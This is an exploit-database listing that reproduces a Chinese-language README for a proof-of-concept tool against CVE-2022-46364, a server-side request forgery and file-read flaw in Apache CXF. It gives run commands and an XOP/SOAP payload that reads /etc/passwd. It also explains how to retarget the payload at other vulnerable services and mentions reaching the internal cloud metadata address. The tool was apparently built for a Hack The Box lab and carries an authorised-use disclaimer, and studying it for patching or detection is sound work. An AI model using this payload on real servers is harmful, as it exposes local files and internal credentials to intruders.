Sploitus

Exploit for CVE-2022-46364

kitploit · 2026-09-05

Exploit Code

MARKDOWN147 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-C0GNIT00-CVE-2022-46364
# CVE-2022-46364 — Apache CXF MTOM/XOP SSRF(文件读取)

> 针对 **CVE-2022-46364** 的概念验证(PoC)利用程序 —— Apache CXF 在 MTOM/XOP 请求处理中的服务端请求伪造(SSRF)漏洞。

* * *

## 漏洞概述

**CVE-2022-46364** 影响 **3.4.10** 和 **3.5.5** 之前版本的 Apache CXF。当 SOAP 服务启用 MTOM(消息传输优化机制)时,CXF 反编组器会对 `<xop:Include>` 元素内的 `href` 属性校验不当。CXF 并未按要求将 `href` 限制为 `cid:` URI(W3C XOP 规范要求如此),而是解引用了任意 URI —— 包括 `file://`、`http://` 和 `https://`。

这使得未经认证的攻击者能够:

  * 读取任意本地文件(`file:///etc/passwd`)
  * 对内部服务执行 SSRF(`http://169.254.169.254/`)
  * 可能访问云元数据端点或内部 API



* * *

## 目标

本 PoC 编写并测试于 **Hack The Box** 机器:

**目标端点:** `http://devarea.htb:8080/employeeservice`

但根据目标 WSDL 对 XML 载荷稍作修改,即可使其适配目标环境。

* * *

## 使用方法

### 读取 /etc/passwd(默认目标)

默认 URL 为 `http://devarea.htb:8080/employeeservice`。

root@kitploit:~
    
    
    python3 CVE-2022-46364.py --file /etc/passwd
    

### 自定义目标 URL

root@kitploit:~
    
    
    python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
    

### 详细模式 —— 显示请求及原始响应

root@kitploit:~
    
    
    python3 CVE-2022-46364.py --file /etc/passwd --verbose
    

* * *

## 适配其他目标

> **重要提示:** 此脚本针对 HTB DevArea 的 WSDL 结构进行了硬编码。要将其用于另一个存在漏洞的 Apache CXF 服务,**必须修改** `build_payload()` 中的 SOAP 载荷,以匹配目标 WSDL 契约。

### 适配步骤:

  1. **获取目标的 WSDL:**

root@kitploit:~
         
         curl http://target:8080/employeeservice?wsdl
         

  2. **确定服务详细信息:**

     * `targetNamespace`(例如 `http://devarea.htb/`)
     * 操作名称(例如 `submitReport`)
     * 参数结构(例如包含嵌套 `<content>` 的 `<arg0>`)
  3. **修改`build_payload()` 中的载荷:**

     * 更新命名空间(`xmlns:dev="..."`)
     * 更新操作名称(`<dev:submitReport>`)
     * 更新参数包装器(`<arg0>`)
     * 将 `<xop:Include href="file://{filepath}"/>` 放置在服务器将作为附件处理的字段内
  4. **运行脚本时更新`--url`。**




### WSDL 适配示例

给定以下 WSDL 片段:

root@kitploit:~
    
    
    <wsdl:definitions targetNamespace="http://example.com/">
      <wsdl:operation name="uploadDocument">
        <wsdl:input message="tns:uploadDocument"/>
      </wsdl:operation>
    </wsdl:definitions>
    

你的载荷应变为:

root@kitploit:~
    
    
    <soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
      <soapenv:Body>
        <ex:uploadDocument>
          <document>
            <xop:Include href="file:///etc/passwd"/>
          </document>
        </ex:uploadDocument>
      </soapenv:Body>
    </soapenv:Envelope>
    

* * *

## 工作原理

  1. 脚本构造一个带有 `Content-Type: application/xop+xml` 的 `multipart/related` HTTP 请求。
  2. 在 SOAP 正文中放置一个 `<xop:Include href="file:///etc/passwd"/>` 元素。
  3. 存在漏洞的 CXF 服务器将其视为附件引用,并解引用 `file://` URI。
  4. 文件内容被读取,由服务器进行 base64 编码,然后通过 SOAP `<return>` 元素返回。
  5. 脚本提取 `Content:` 之后的 base64 字符串并对其进行解码。



* * *

## 参考资料

* * *

## 免责声明

本工具仅用于**授权的安全测试和教育目的** 。在测试不属于你的系统之前,请务必获得明确许可。作者不对因使用本脚本而造成的任何滥用或损害负责。

* * *

## 许可证

MIT 许可证 —— 欢迎适当注明出处后使用、修改和分享。